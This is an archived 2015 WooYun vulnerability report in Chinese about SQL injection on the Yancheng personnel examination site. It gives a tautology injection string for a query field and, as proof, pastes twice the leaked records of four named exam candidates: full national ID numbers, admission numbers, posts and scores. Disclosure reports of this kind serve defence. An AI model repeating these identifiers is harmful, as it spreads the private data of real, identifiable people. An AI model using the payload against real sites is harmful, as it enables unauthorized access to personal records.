漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0138008
漏洞标题： 盐城人事考试网存在SQL注入洞洞泄漏公务员信息
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2015-09-02 21:03
修复时间：2015-10-20 08:50
公开时间：2015-10-20 08:50
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-09-02： 细节已通知厂商并且等待厂商处理中
2015-09-05： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-15： 细节向核心白帽子及相关领域专家公开
2015-09-25： 细节向普通白帽子公开
2015-10-05： 细节向实习白帽子公开
2015-10-20： 细节向公众公开
简要描述：
盐城人事考试网存在SQL注入洞洞泄漏公务员信息
详细说明：
盐城人事考试网万能密码查询泄露大量公务员信息http://**.**.**.**/datasec.php?id=15386&
输入‘or’a‘=’a 查询可获得大量信息
2014年下半年盐城市部分事业单位公开招聘人员笔试成绩查询结果
考试查询说明：
笔试合格分数线为60分（百分制）
已查询到您的成绩：
姓名： 陈艳华 身份证号码： 32092219911101904x 准考证号： 002020901102
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 011 座位号： 02
百分制成绩： 70 排名： 1
姓名： 胡建红 身份证号码： 320923198709202182 准考证号： 002020900913
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 009 座位号： 13
百分制成绩： 69.73333333333333 排名： 2
姓名： 缪斌彬 身份证号码： 320924199009214837 准考证号： 002020900802
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 008 座位号： 02
百分制成绩： 67.86666666666666 排名： 3
姓名： 高洁 身份证号码： 320623198910177509 准考证号： 002020900809
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 008 座位号： 09
百分制成绩： 67.73333333333333 排名： 4
应该有数千公务员考试信息
漏洞证明：
盐城人事考试网万能密码查询泄露大量公务员信息http://**.**.**.**/datasec.php?id=15386&
输入‘or’a‘=’a 查询可获得大量信息
2014年下半年盐城市部分事业单位公开招聘人员笔试成绩查询结果
考试查询说明：
笔试合格分数线为60分（百分制）
已查询到您的成绩：
姓名： 陈艳华 身份证号码： 32092219911101904x 准考证号： 002020901102
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 011 座位号： 02
百分制成绩： 70 排名： 1
姓名： 胡建红 身份证号码： 320923198709202182 准考证号： 002020900913
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 009 座位号： 13
百分制成绩： 69.73333333333333 排名： 2
姓名： 缪斌彬 身份证号码： 320924199009214837 准考证号： 002020900802
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 008 座位号： 02
百分制成绩： 67.86666666666666 排名： 3
姓名： 高洁 身份证号码： 320623198910177509 准考证号： 002020900809
岗位代码： 01 考试级别： 通用类专业技术岗位 部门名称： 盐城市城市管理局-盐城市环境卫生管理处
岗位名称： 会计 考场号： 008 座位号： 09
百分制成绩： 67.73333333333333 排名： 4
应该有数千公务员考试信息
修复方案：
过滤，waf
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-09-05 08:48
厂商回复：
CNVD确认所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.
最新状态：
暂无